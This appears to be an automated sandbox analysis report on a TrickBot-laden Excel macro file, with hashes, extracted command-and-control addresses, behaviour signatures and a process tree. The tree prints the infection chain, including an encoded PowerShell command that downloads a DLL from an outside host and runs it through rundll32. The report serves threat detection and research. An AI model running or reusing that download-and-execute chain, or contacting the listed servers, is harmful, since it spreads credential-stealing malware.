Analysis

  • max time kernel
    140s
  • max time network
    163s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21-10-2021 15:12

General

  • Target

    RNP-00149.xlsm

  • Size

    87KB

  • MD5

    dc44a89cc099adc3042727734525e5ca

  • SHA1

    343ab78089a5e242c29095ff55833b5c1da4181f

  • SHA256

    d3fd3711c2dcff75bf015624ac6ac8f258fbd0229cf7cd4cb5f4eaba6ec32033

  • SHA512

    bf67308fdecafe0b9b37679092d0ad64692a7a61afd84068b5c2cbb9cceac2799b201c41c3be14821fecb943cd5508e37251b60458d0b7ce472aca2dceb89f94

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

rob136

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes
  • autorun
    Name:pwgrabb
    Name:pwgrabc
ecc_pubkey.base64

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Trickbot

    Developed in 2016, TrickBot is one of the more recent banking Trojans.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00149.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3816
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:700
        • C:\Windows\SysWOW64\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:728
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe
            5⤵
              PID:2040
            • C:\Windows\system32\wermgr.exe
              C:\Windows\system32\wermgr.exe
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3628

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\clb.dll
      MD5

      ca3479cf0b695d0c3037c06535b70abb

      SHA1

      b5e92d4a0349ed705697244537ec87d0b9a26fb9

      SHA256

      c508542451aa56d699d3c16f5cbb528545463a498d40e73731caadde76e603db

      SHA512

      61a9ddb861ab2aea294549bc0e9ab8b3318c2034e572b7ce11e2e2cdac017b121406204e5143afc970e0ad9fbe95048c39d847aac0f2ce5a4ff2be197413e1d5

    • \ProgramData\clb.dll
      MD5

      ca3479cf0b695d0c3037c06535b70abb

      SHA1

      b5e92d4a0349ed705697244537ec87d0b9a26fb9

      SHA256

      c508542451aa56d699d3c16f5cbb528545463a498d40e73731caadde76e603db

      SHA512

      61a9ddb861ab2aea294549bc0e9ab8b3318c2034e572b7ce11e2e2cdac017b121406204e5143afc970e0ad9fbe95048c39d847aac0f2ce5a4ff2be197413e1d5

    • memory/700-300-0x0000000000000000-mapping.dmp
    • memory/728-307-0x0000000010001000-0x0000000010003000-memory.dmp
      Filesize

      8KB

    • memory/728-305-0x00000000044F0000-0x0000000004535000-memory.dmp
      Filesize

      276KB

    • memory/728-306-0x0000000004540000-0x0000000004541000-memory.dmp
      Filesize

      4KB

    • memory/728-304-0x00000000041C0000-0x0000000004428000-memory.dmp
      Filesize

      2.4MB

    • memory/728-302-0x0000000000000000-mapping.dmp
    • memory/1884-276-0x0000000000000000-mapping.dmp
    • memory/2268-121-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmp
      Filesize

      8KB

    • memory/2268-117-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp
      Filesize

      64KB

    • memory/2268-116-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp
      Filesize

      64KB

    • memory/2268-118-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp
      Filesize

      64KB

    • memory/2268-120-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmp
      Filesize

      8KB

    • memory/2268-127-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp
      Filesize

      64KB

    • memory/2268-115-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp
      Filesize

      64KB

    • memory/2268-119-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmp
      Filesize

      8KB

    • memory/3628-308-0x0000000000000000-mapping.dmp
    • memory/3628-309-0x000001AF48C60000-0x000001AF48C89000-memory.dmp
      Filesize

      164KB

    • memory/3628-310-0x000001AF48CA0000-0x000001AF48CA1000-memory.dmp
      Filesize

      4KB

    • memory/3816-277-0x0000000000000000-mapping.dmp
    • memory/3816-295-0x000001CFC4ED6000-0x000001CFC4ED8000-memory.dmp
      Filesize

      8KB

    • memory/3816-293-0x000001CFC4ED0000-0x000001CFC4ED2000-memory.dmp
      Filesize

      8KB

    • memory/3816-294-0x000001CFC4ED3000-0x000001CFC4ED5000-memory.dmp
      Filesize

      8KB